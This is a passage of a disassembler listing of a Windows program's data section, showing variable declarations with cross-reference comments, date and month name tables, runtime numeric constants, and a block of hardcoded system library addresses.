dword_443F14 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_443F58o
off_443F54 dd offset dword_443ED4 ; DATA XREF: sub_42BAC0+FAr
; sub_42BAC0+123r ...
off_443F58 dd offset dword_443F14 ; DATA XREF: sub_42BAC0+140r
; sub_42BAC0+16Ar ...
align 10h
dword_443F60 dd 0FFFFFFFFh ; DATA XREF: sub_42BAC0+30w
; sub_42BEA0+1Ar ...
dword_443F64 dd 0 ; DATA XREF: sub_42BEA0:loc_42C09Br
; sub_42BEA0+20Fr ...
dword_443F68 dd 0 ; DATA XREF: sub_42BEA0+2CFr
; sub_42C1A0+13Dw
align 10h
dword_443F70 dd 0FFFFFFFFh ; DATA XREF: sub_42BAC0+21w
; sub_42BAC0+2Br ...
dword_443F74 dd 0 ; DATA XREF: sub_42BEA0+201r
; sub_42BEA0+21Dr ...
dword_443F78 dd 0 ; DATA XREF: sub_42BEA0+2E5r
; sub_42C1A0+1Dr ...
dword_443F7C dd 0FFFFFFFFh ; DATA XREF: sub_42C1A0+B0r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_443FAC dd 16Dh ; DATA XREF: sub_423ED0+2Er
; sub_42C1A0+2Cr ...
dword_443FB0 dd 0FFFFFFFFh ; DATA XREF: sub_42C1A0+BFr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch
off_443FE4 dd offset off_443FE8 ; DATA XREF: sub_429780+70w
; sub_429780:loc_429821w ...
off_443FE8 dd offset aSun ; DATA XREF: sub_429780:loc_429821o
; .data:off_443FE4o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm_0 ; "AM"
dd offset aPm_1 ; "PM"
dd offset aMDYy ; "M/d/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset aHMmSs ; "H:mm:ss"
align 8
dword_444098 dd 2Eh, 0 ; DATA XREF: sub_42A100+EEo
; .data:off_4440A0o
off_4440A0 dd offset dword_444098 ; DATA XREF: sub_42A430+D4w
; sub_42A430+F6o ...
off_4440A4 dd offset dword_4923F8 ; DATA XREF: sub_42A430+E2w
off_4440A8 dd offset dword_4923F8 ; DATA XREF: sub_42A430+F1w
dd offset dword_4923F8
dd offset dword_4923F8
dd offset dword_4923F8
dd offset dword_4923F8
dd offset dword_4923F8
dd offset dword_4923F8
dd offset dword_4923F8
dd 2 dup(7F7F7F7Fh)
off_4440D0 dd offset off_4440A0 ; DATA XREF: sub_42A100:loc_42A1E9r
; sub_42A100+F8r ...
align 10h
dword_4440E0 dd 2 dup(0) ; DATA XREF: sub_42FDD0+6o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_444240 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42FDD0+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 2 dup(0)
byte_4443A4 db 0 ; DATA XREF: sub_401000+36r
align 4
dword_4443A8 dd 0 ; DATA XREF: sub_401000+9Co
dword_4443AC dd 0 ; DATA XREF: sub_401000+A1o
byte_4443B0 db 0 ; DATA XREF: sub_4010E6+37r
align 8
dword_4443B8 dd 0 ; DATA XREF: sub_40291D+18r
; sub_402D70+92w ...
dword_4443BC dd 0 ; DATA XREF: sub_403076+4Dr
; sub_40328A+D9w ...
dd 3E1h dup(0)
db 0
byte_445345 db 3 dup(0) ; DATA XREF: .data:00443A78o
dd 4 dup(0)
dword_445358 dd 6 dup(0) ; DATA XREF: sub_403076+CFo
; sub_403076+138o ...
dword_445370 dd 0 ; DATA XREF: sub_402994+82w
; sub_402994+102o
dword_445374 dd 41h dup(0) ; DATA XREF: sub_402994+41o
dword_445478 dd 41h dup(0) ; DATA XREF: sub_402994+63o
dword_44557C dd 0 ; DATA XREF: sub_402994+F8w
; sub_402994+114r
dword_445580 dd 0 ; DATA XREF: sub_402994+52w
dword_445584 dd 0 ; DATA XREF: sub_402994+4Dw
; sub_402994+CFr
dword_445588 dd 20h dup(0) ; DATA XREF: sub_402994+9Ao
; sub_402994+BAo
dword_445608 dd 0 ; DATA XREF: sub_402994+8Fw
dword_44560C dd 0 ; DATA XREF: sub_402994+A7w
; sub_402994+C7w
dword_445610 dd 0 ; DATA XREF: sub_402994:loc_402ABEr
align 8
dword_445618 dd 0 ; DATA XREF: sub_402994+2D5w
; sub_402994+32Eo
dword_44561C dd 4Dh dup(0) ; DATA XREF: sub_402994+2C3o
dword_445750 dd 55h dup(0) ; DATA XREF: .data:off_438694o
dword_4458A4 dd 41h dup(0) ; DATA XREF: sub_402994+28Do
dword_4459A8 dd 0 ; DATA XREF: sub_402994+2BAw
; sub_402994+2E1r
align 10h
dword_4459B0 dd 0 ; DATA XREF: sub_402994+324w
; sub_402994+340r
dword_4459B4 dd 0 ; DATA XREF: sub_402994+2E7w
dword_4459B8 dd 0 ; DATA XREF: sub_402994+2F4w
dword_4459BC dd 0 ; DATA XREF: sub_402994+2B4w
dd 0
dword_4459C4 dd 0 ; DATA XREF: sub_402994:loc_402CEAr
dword_4459C8 dd 0 ; DATA XREF: sub_402994+1A1w
; sub_402994+221o
dword_4459CC dd 41h dup(0) ; DATA XREF: sub_402994+163o
dword_445AD0 dd 41h dup(0) ; DATA XREF: sub_402994+182o
dword_445BD4 dd 0 ; DATA XREF: sub_402994+217w
; sub_402994+233r
dword_445BD8 dd 0 ; DATA XREF: sub_402994+171w
dword_445BDC dd 0 ; DATA XREF: sub_402994+1EEr
dword_445BE0 dd 20h dup(0) ; DATA XREF: sub_402994+1B9o
; sub_402994+1D9o
dword_445C60 dd 0 ; DATA XREF: sub_402994+1AEw
dword_445C64 dd 0 ; DATA XREF: sub_402994+1C6w
; sub_402994+1E6w
dword_445C68 dd 0 ; DATA XREF: sub_402994:loc_402BDEr
align 10h
dword_445C70 dd 1000h dup(0) ; DATA XREF: sub_4035E1+1Do
; .text:004036CBo ...
dword_449C70 dd 0 ; DATA XREF: sub_4035E1+13o
; .text:00403712o ...
dword_449C74 dd 0 ; DATA XREF: sub_403B83+Fr
; sub_403D7C+12r
dd 18h dup(0)
dword_449CD8 dd 2 dup(0) ; DATA XREF: sub_40449C:loc_40452Fo
dword_449CE0 dd 0 ; DATA XREF: sub_405084+431o
dword_449CE4 dd 0Eh dup(0) ; DATA XREF: sub_4055AD+Fo
dword_449D1C dd 2 dup(0) ; DATA XREF: sub_405938+C8o
dword_449D24 dd 0 ; DATA XREF: sub_405938+62o
dword_449D28 dd 80h dup(0) ; DATA XREF: sub_406355+41o
dword_449F28 dd 200h dup(0) ; DATA XREF: sub_405C86+C7o
; sub_405FE1+DDo ...
dword_44A728 dd 200h dup(0) ; DATA XREF: sub_405C86+D6o
; sub_405FE1+F4o ...
dword_44AF28 dd 0 ; DATA XREF: sub_405C86+86w
; sub_405E58+94r
dword_44AF2C dd 0 ; DATA XREF: sub_405C86+A7w
; sub_4062BE+55r ...
dword_44AF30 dd 0 ; DATA XREF: sub_405C86+A0w
; sub_405E58+D6r ...
dword_44AF34 dd 0 ; DATA XREF: sub_405C86+79w
; sub_405E58+35r ...
dword_44AF38 dd 80h dup(0) ; DATA XREF: sub_4062BE+5Eo
dword_44B138 dd 0 ; DATA XREF: sub_405C86+93w
; sub_405E58+A2r
align 10h
dword_44B140 dd 0 ; DATA XREF: sub_405C86+E7o
; sub_405C86+103r ...
dword_44B144 dd 0 ; DATA XREF: sub_405FE1+17Bw
; sub_406188+107w
dword_44B148 dd 0 ; DATA XREF: sub_405FE1+180w
; sub_406188+10Dw ...
dword_44B14C dd 0 ; DATA XREF: sub_405FE1+159w
; sub_4062BE+4Fr
dword_44B150 dd 0 ; DATA XREF: sub_406C1D+2Aw
; sub_406C1D+51r ...
dword_44B154 dd 0 ; DATA XREF: sub_401A3C+ACr
; sub_406614+72w ...
dd 3 dup(0)
dword_44B164 dd 0 ; DATA XREF: sub_407D34+74o
byte_44B168 db 0 ; DATA XREF: sub_407E55+1D3w
; sub_407E55+2D2o
align 2
word_44B16A dw 0 ; DATA XREF: sub_407E55+1E3w
word_44B16C dw 0 ; DATA XREF: sub_407E55+1E9w
word_44B16E dw 0 ; DATA XREF: sub_407E55+1F0w
byte_44B170 db 0 ; DATA XREF: sub_407E55+1F7w
byte_44B171 db 0 ; DATA XREF: sub_407E55+1FEw
word_44B172 dw 0 ; DATA XREF: sub_407E55+204w
dword_44B174 dd 0 ; DATA XREF: sub_407E55+234w
; sub_407E55+250w
dword_44B178 dd 0 ; DATA XREF: sub_407E55+258w
byte_44B17C db 0 ; DATA XREF: sub_407E55+26Aw
byte_44B17D db 0 ; DATA XREF: sub_407E55+27Dw
word_44B17E dw 0 ; DATA XREF: sub_407E55+295w
word_44B180 dw 0 ; DATA XREF: sub_407E55+2A4w
word_44B182 dw 0 ; DATA XREF: sub_407E55+29Cw
dword_44B184 dd 101h dup(0) ; DATA XREF: sub_407E55+2B9o
dword_44B588 dd 77C72C6Bh ; DATA XREF: sub_403948+210r
; sub_403948+21Ar ...
dword_44B58C dd 77EBA994h ; DATA XREF: sub_40888A+65w
; sub_40B4F2+166r
dword_44B590 dd 7622A3F4h ; DATA XREF: sub_40888A+7EDw
; sub_40888A+862r ...
dword_44B594 dd 71C45229h ; DATA XREF: sub_40888A+9BAw
; sub_40888A+A18r ...
dword_44B598 dd 71C24870h ; DATA XREF: sub_40888A+96Cw
; sub_40888A+9E8r ...
dword_44B59C dd 77C71BB0h ; DATA XREF: sub_403948+D1r
; sub_40888A+46Fw ...
dword_44B5A0 dd 77D4808Bh ; DATA XREF: sub_4085A9+ECr
; sub_4085A9+109r ...
dword_44B5A4 dd 71C4502Ch ; DATA XREF: sub_40888A+9ADw
; sub_40888A+A10r ...
dword_44B5A8 dd 77DE801Bh ; DATA XREF: sub_40888A+354w
; sub_40888A+3A9r ...
dword_44B5AC dd 77DDACABh ; DATA XREF: sub_40888A+3F1w
; sub_415430+11Er
dword_44B5B0 dd 77DE8075h ; DATA XREF: sub_40888A+361w
; sub_40888A+3B1r ...
dword_44B5B4 dd 77DD7496h ; DATA XREF: sub_40888A+3A2w
; sub_40A48F+ADr
dword_44B5B8 dd 71AB1B7Bh ; DATA XREF: sub_406D34+115r
; sub_40888A+53Cw ...
dword_44B5BC dd 77E686CCh ; DATA XREF: sub_405675+1Br
; sub_40888A+72w ...
dword_44B5C0 dd 71C2498Bh ; DATA XREF: sub_40888A+95Fw
; sub_40888A+9DBr ...
dword_44B5C4 dd 77DDAB2Fh ; DATA XREF: sub_40888A+388w
; sub_40888A+3C9r ...
dword_44B5C8 dd 7620E8C3h ; DATA XREF: sub_40888A+83Bw
; sub_40888A+88Er ...
dword_44B5CC dd 77DD23D7h ; DATA XREF: sub_403FBB+53r
; sub_40888A+2A5w ...
dword_44B5D0 dd 76214750h ; DATA XREF: sub_405084+3Ar
; sub_40888A+82Ew ...
dword_44B5D4 dd 77E6D75Bh ; DATA XREF: sub_40888A+B3w
dword_44B5D8 dd 7620BD61h ; DATA XREF: sub_405084+109r
; sub_40888A+848w ...
dword_44B5DC dd 71AB60C9h ; DATA XREF: sub_40888A+52Fw
; sub_40888A+6B2r ...
dword_44B5E0 dd 77EBA6E9h ; DATA XREF: sub_40888A+58w
; sub_40888A+CAr ...
dword_44B5E4 dd 76D62A58h ; DATA XREF: sub_40888A+916w
; sub_40B0E5+11Ar
dword_44B5E8 dd 76F36EAAh ; DATA XREF: sub_40888A+A66w
; sub_40888A+A6Dr ...
dword_44B5EC dd 77E802FCh ; DATA XREF: sub_40888A+A6w
; sub_40888A+F2r
dword_44B5F0 dd 77C75455h ; DATA XREF: sub_403948+119r
; sub_40888A+462w ...
dword_44B5F4 dd 71AB12A7h ; DATA XREF: sub_402D28+20r
; sub_40888A+5D8w ...
dword_44B5F8 dd 71C574FAh ; DATA XREF: sub_40888A+9A0w
; sub_40888A+A08r
dword_44B5FC dd 71AB1746h ; DATA XREF: sub_40465D+A5r
; sub_40888A+5CBw ...
dword_44B600 dd 71B28D0Dh ; DATA XREF: sub_4010E6+9Ar
; sub_40888A+B21w
dword_44B604 dd 762211EFh ; DATA XREF: sub_40888A+7E0w
; sub_40888A+84Fr ...
dword_44B608 dd 77D902E3h ; DATA XREF: sub_40888A+1B3w
; sub_409D0C+15r
dword_44B60C dd 71C2FA86h ; DATA XREF: sub_40888A+979w
; sub_40888A+9F0r ...
dword_44B610 dd 77DE1291h ; DATA XREF: sub_40888A+36Ew
; sub_40888A+3B9r ...
dword_44B614 dd 77E2C1B3h ; DATA XREF: sub_40888A+37Bw
; sub_40888A+3C1r ...
dword_44B618 dd 73B81E3Bh ; DATA XREF: sub_403B83+28r
; sub_403D7C+2Br ...
dword_44B61C dd 71ABF628h ; DATA XREF: sub_40888A+68Ew
; sub_41301C+D0r
dword_44B620 dd 71AB1836h ; DATA XREF: sub_404CEF:loc_40501Ar
; sub_405084+46Cr ...
dword_44B624 dd 77C72889h ; DATA XREF: sub_403948+207r
; sub_40888A+496w
dword_44B628 dd 71C453F8h ; DATA XREF: sub_40888A+9C7w
; sub_40888A+A20r ...
dword_44B62C dd 77DD5C55h ; DATA XREF: sub_4038C0+51r
; sub_40888A+2B2w ...
dword_44B630 dd 77E96645h ; DATA XREF: sub_4058B3+25r
; sub_4058B3+39r ...
dword_44B634 dd 77428B97h ; DATA XREF: sub_405084+33Cr
; sub_40888A+B6Ew ...
dword_44B638 dd 71AB41DAh ; DATA XREF: sub_404CEF+2Fr
; sub_407D34+17r ...
dword_44B63C dd 762059A3h ; DATA XREF: sub_40888A+807w
; sub_40888A+872r ...
dword_44B640 dd 71C4A1B4h ; DATA XREF: sub_40888A+986w
; sub_40888A+9F8r
dword_44B644 dd 1F7CD214h ; DATA XREF: sub_40888A+BDFw
; sub_40888A+C10r
dword_44B648 dd 77D4456Bh ; DATA XREF: sub_4085A9+40r
; sub_4085A9+63r ...
dword_44B64C dd 76D629BBh ; DATA XREF: sub_40888A+8FCw
; sub_40888A+910r ...
dword_44B650 dd 1F7B9D96h ; DATA XREF: sub_40888A+BF9w
dword_44B654 dd 71AB1740h ; DATA XREF: .text:00402FC5r
; sub_404CEF:loc_404FE4r ...
dword_44B658 dd 7620AFB6h ; DATA XREF: sub_40888A+821w
; sub_40888A+855r
dword_44B65C dd 77D5C13Ah ; DATA XREF: sub_4085A9+50r
; sub_4085A9+78r ...
dword_44B660 dd 77D45B19h ; DATA XREF: sub_403B83+3Fr
; sub_403B83+69r ...
dword_44B664 dd 71AB157Eh ; DATA XREF: sub_40465D+9Cr
; sub_40888A+65Aw ...
dword_44B668 dd 71AB3E5Dh ; DATA XREF: sub_4013F1+20Ar
; .text:00401909r ...
dword_44B66C dd 71AB14DCh ; DATA XREF: sub_40888A+549w
; sub_40888A+6BEr ...
dword_44B670 dd 0CC0004h ; DATA XREF: sub_405084+34r
; sub_40888A+8BDw ...
dword_44B674 dd 77DD590Bh ; DATA XREF: sub_4038C0+26r
; sub_40888A+28Bw ...
dword_44B678 dd 71ABD755h ; DATA XREF: sub_40888A+681w
; sub_40888A+79Er ...
dword_44B67C dd 77DF7311h ; DATA XREF: sub_40888A+30Fw
; sub_40888A+323r ...
dword_44B680 dd 77DDA2AFh ; DATA XREF: sub_40888A+395w
; sub_40888A+3D1r ...
dword_44B684 dd 1F7CD927h ; DATA XREF: sub_40888A+BD2w
; sub_40888A+C08r
dword_44B688 dd 76206853h ; DATA XREF: sub_40888A+7FAw
; sub_40888A+86Ar ...
dword_44B68C dd 77D4932Ch ; DATA XREF: sub_4085A9+FCr
; sub_40888A+206w ...
dword_44B690 dd 77D5E310h ; DATA XREF: sub_40888A+18Cw
; sub_40888A+1D2r ...
dword_44B694 dd 76206B7Fh ; DATA XREF: sub_40888A+814w
; sub_40888A+87Ar ...
dword_44B698 dd 71AB1444h ; DATA XREF: .text:00403025r
; sub_40888A+606w ...
dword_44B69C dd 77DD189Ah ; DATA XREF: sub_4038C0+5Ar
; sub_403FBB+19Ar ...
dword_44B6A0 dd 71AB3F8Dh ; DATA XREF: sub_404CEF+6Fr
; sub_407E55+AAr ...
dword_44B6A4 dd 77DD5D20h ; DATA XREF: sub_40888A+302w
; sub_40888A+316r ...
dword_44B6A8 dd 71AB1890h ; DATA XREF: sub_402E0C+82r
; sub_40465D+1B7r ...
dword_44B6AC dd 77C76B34h ; DATA XREF: sub_403948+16r
; sub_40888A+42Ew ...
dword_44B6B0 dd 77D5E38Ch ; DATA XREF: sub_40888A+199w
; sub_40888A+1DAr ...
dword_44B6B4 dd 77DDA20Bh ; DATA XREF: sub_40888A+347w
; sub_40888A+39Cr ...
dword_44B6B8 dd 76F36EEBh ; DATA XREF: sub_40888A+A73w
dword_44B6BC dd 71AB12A7h ; DATA XREF: sub_402D28+2Br
; sub_40465D+156r ...
dword_44B6C0 dd 71AB1746h ; DATA XREF: sub_4013F1+1BAr
; .text:004017F1r ...
dword_44B6C4 dd 77EBA595h ; DATA XREF: sub_40888A+4Bw
; sub_40888A+C2r ...
dword_44B6C8 dd 77C7531Dh ; DATA XREF: sub_403948+2Cr
; sub_403948+38r ...
dword_44B6CC dd 77D4BDCAh ; DATA XREF: sub_40888A+165w
; sub_40888A+1BAr ...
dword_44B6D0 dd 71C3516Ah ; DATA XREF: sub_40888A+9E1w
; sub_40AD78+72r
dword_44B6D4 dd 71AB32CAh ; DATA XREF: sub_40888A+667w
; sub_40888A+78Er
dword_44B6D8 dd 71AB5690h ; DATA XREF: sub_4013F1+23Br
; sub_4013F1+263r ...
dword_44B6DC dd 1F7CB8F8h ; DATA XREF: sub_40888A+BECw
; sub_40888A+C18r
dword_44B6E0 dd 77EBB1E7h ; DATA XREF: sub_40888A+3Ew
; sub_40888A+BAr ...
dword_44B6E4 dd 77DD59F0h ; DATA XREF: sub_4038C0+45r
; sub_40888A+298w ...
dword_44B6E8 dd 71AB5DE2h ; DATA XREF: sub_40465D+F3r
; sub_406D34+9Er ...
dword_44B6EC dd 71AB3ECEh ; DATA XREF: sub_40465D+78r
; sub_406D34+89r ...
dword_44B6F0 dd 73B81B0Fh ; DATA XREF: sub_40888A+C63w
; sub_40C50A+4642r
dword_44B6F4 dd 76204E4Dh ; DATA XREF: sub_405084+4DCr
; sub_40888A+85Bw ...
dword_44B6F8 dd 0 ; DATA XREF: sub_40888A+112w
dword_44B6FC dd 1F7D886Ah ; DATA XREF: sub_40888A+BB8w
; sub_40888A+BF3r
dword_44B700 dd 71AB12F8h ; DATA XREF: sub_4013F1+1C8r
; .text:004017FFr ...
dword_44B704 dd 77C76551h ; DATA XREF: sub_403948+BCr
; sub_40888A+43Bw ...
dword_44B708 dd 77C729E2h ; DATA XREF: sub_403948+FBr
; sub_40888A+47Cw ...
dword_44B70C dd 77C7212Fh ; DATA XREF: sub_403948+65r
; sub_40888A+448w ...
dword_44B710 dd 71AB1AF4h ; DATA XREF: sub_4013F1+221r
; sub_4013F1+249r ...
dword_44B714 dd 77D5E303h ; DATA XREF: sub_40888A+1A6w
; sub_40888A+1E2r ...
dword_44B718 dd 71C4576Ch ; DATA XREF: sub_40888A+9D4w
; sub_40888A+A28r ...
dword_44B71C dd 77D4702Fh ; DATA XREF: sub_403B83+53r
; sub_403B83+7Fr ...
dword_44B720 dd 77E6C0E3h ; DATA XREF: sub_40562C+4r
; sub_40888A+8Cw ...
dword_44B724 dd 71AB1ED3h ; DATA XREF: .text:00402FB7r
; sub_404CEF+2C2r ...
dword_44B728 dd 71B2A381h ; DATA XREF: sub_40888A+B14w
; sub_40888A+B30r
dword_44B72C dd 77DDA595h ; DATA XREF: sub_40888A+31Cw
; sub_40B487+55r
dword_44B730 dd 77DD22EAh ; DATA XREF: sub_403FBB+3Ar
; sub_40888A+27Ew ...
dword_44B734 dd 773F97B0h ; DATA XREF: sub_40888A+B7Bw
dword_44B738 dd 76D67A29h ; DATA XREF: sub_40888A+ABDw
; sub_40AF08+D4r
dword_44B73C dd 76D674FAh ; DATA XREF: sub_40888A+AB0w
; sub_40888A+AB7r ...
dword_44B740 dd 71AB3C22h ; DATA XREF: sub_4013F1+18Dr
; .text:004017C4r ...
dword_44B744 dd 71AB2BBFh ; DATA XREF: sub_404416+50r
; sub_40888A+674w ...
dword_44B748 dd 1F7BA3A9h ; DATA XREF: sub_40888A+BC5w
; sub_40888A+C00r
dword_44B74C dd 71AB401Ch ; DATA XREF: sub_40291D+1Fr
; sub_403076+86r ...
dword_44B750 dd 71C214BAh ; DATA XREF: sub_40888A+993w
; sub_40888A+A00r ...
dword_44B754 dd 71AB868Dh ; DATA XREF: sub_40465D+1F1r
; sub_406D34+13Ar ...
dword_44B758 dd 71AB1A6Dh ; DATA XREF: sub_4013F1:loc_401669r
; sub_4013F1+28Cr ...
dword_44B75C dd 71AB155Ah ; DATA XREF: sub_402E0C+4Cr
; sub_406D34+B7r ...
dword_44B760 dd 71B22C25h ; DATA XREF: sub_401000+B3r
; sub_401000+CBr ...
dword_44B764 dd 71AB5A01h ; DATA XREF: sub_404CEF+4Fr
; sub_40888A+522w ...
dword_44B768 dd 71B2ACCBh ; DATA XREF: sub_40888A+AFAw
; sub_40888A+B1Br
dword_44B76C dd 77E78C17h ; DATA XREF: sub_40888A+31w
; sub_40888A+ADr ...
dword_44B770 dd 77D49A11h ; DATA XREF: sub_403B83+1ECr
; sub_403D7C+232r ...
align 8
dword_44B778 dd 76D62A37h ; DATA XREF: sub_40888A+909w
; sub_40888A+91Dr ...
dword_44B77C dd 77E6CBF9h ; DATA XREF: sub_40888A+99w
; sub_40888A+EAr ...
dword_44B780 dd 0 ; DATA XREF: sub_40888A:loc_408988w
; sub_40888A+12Bw ...
dword_44B784 dd 0 ; DATA XREF: sub_40888A+126w
; sub_409517+1Cr
dword_44B788 dd 0 ; DATA XREF: sub_40888A:loc_408A78w
; sub_40888A:loc_408ADFw ...
dword_44B78C dd 0 ; DATA XREF: sub_40888A+250w
; sub_409517+50r
dword_44B790 dd 0 ; DATA XREF: sub_40888A:loc_408B74w
; sub_40888A:loc_408BB9w ...
dword_44B794 dd 0 ; DATA XREF: sub_40888A+400w
; sub_409517+84r
dword_44B798 dd 0 ; DATA XREF: sub_40888A:loc_408D70w
; sub_409517:loc_4095C7r
dword_44B79C dd 0 ; DATA XREF: sub_40888A+4E1w
; sub_409517+B8r
dword_44B7A0 dd 0 ; DATA XREF: sub_40888A:loc_409041w
; sub_409517:loc_4095FBr
dword_44B7A4 dd 0 ; DATA XREF: sub_40888A+7B2w
; sub_409517+ECr
dword_44B7A8 dd 0 ; DATA XREF: sub_40888A:loc_40912Cw
; sub_40888A+8D1w ...
dword_44B7AC dd 0 ; DATA XREF: sub_40888A+8CCw
; sub_409517+120r
dword_44B7B0 dd 0 ; DATA XREF: sub_40888A:loc_4091C0w
; sub_409517:loc_409663r ...
dword_44B7B4 dd 0 ; DATA XREF: sub_40888A+931w
; sub_409517+154r
dword_44B7B8 dd 0 ; DATA XREF: sub_40888A:loc_4092CBw
; sub_409517:loc_409697r ...
dword_44B7BC dd 0 ; DATA XREF: sub_40888A+A3Cw
; sub_409517+188r
dword_44B7C0 dd 0 ; DATA XREF: sub_40888A:loc_409315w
; sub_409517:loc_4096CBr
dword_44B7C4 dd 0 ; DATA XREF: sub_40888A+A86w
; sub_409517+1BCr
dword_44B7C8 dd 0 ; DATA XREF: sub_40888A:loc_40935Fw
; sub_409517:loc_4096FFr
dword_44B7CC dd 0 ; DATA XREF: sub_40888A+AD0w
; sub_409517+1F0r
dword_44B7D0 dd 0 ; DATA XREF: sub_40888A:loc_4093D3w
; sub_409517:loc_409733r
dword_44B7D4 dd 0 ; DATA XREF: sub_40888A+B44w
; sub_409517+224r
dword_44B7D8 dd 0 ; DATA XREF: sub_40888A:loc_40941Dw
; sub_409517:loc_409767r
dword_44B7DC dd 0 ; DATA XREF: sub_40888A+B8Ew
; sub_409517+258r
dword_44B7E0 dd 0 ; DATA XREF: sub_40888A:loc_4094BBw
; sub_409517:loc_40979Br
dword_44B7E4 dd 0 ; DATA XREF: sub_40888A+C2Cw
; sub_409517+28Cr
dword_44B7E8 dd 0 ; DATA XREF: sub_40888A:loc_409505w
; sub_409517:loc_4097CFr
dword_44B7EC dd 0 ; DATA XREF: sub_40888A+C76w
; sub_409517+2C0r
dword_44B7F0 dd 81h dup(0) ; DATA XREF: sub_409AA0+6Ao
dword_44B9F4 dd 0 ; DATA XREF: sub_409D2E+E9o
dword_44B9F8 dd 17h dup(0) ; DATA XREF: sub_409FDF:loc_40A0FCo
; sub_409FDF+131o ...
dword_44BA54 dd 80h dup(0) ; DATA XREF: sub_40AD78+7Co
; sub_40AD78+A5o
dword_44BC54 dd 0 ; DATA XREF: sub_40A359+45w
; sub_40A359+4Dr ...
dword_44BC58 dd 17h dup(0) ; DATA XREF: sub_40AC44:loc_40AD66o
; sub_40AC44+12Do
dword_44BCB4 dd 80h dup(0) ; DATA XREF: sub_40A29A+4Bo
; sub_40A29A+7Do ...
byte_44BEB4 db 0 ; DATA XREF: sub_40A359+29r
; sub_40A359+34w
align 4
dword_44BEB8 dd 80h dup(0) ; DATA XREF: sub_40A5B0+61o
; sub_40A5B0+88o ...
dword_44C0B8 dd 81h dup(0) ; DATA XREF: sub_409EB6+33o
; sub_409EB6+50o ...
dword_44C2BC dd 5 dup(0) ; DATA XREF: sub_40AFEC+32o
dword_44C2D0 dd 2 dup(0) ; DATA XREF: .text:0040AE47o
dword_44C2D8 dd 0 ; DATA XREF: sub_4034E9+Ao
; sub_4034E9+44r ...
dd 5 dup(0)
dword_44C2F0 dd 0 ; DATA XREF: sub_4034E9+60r
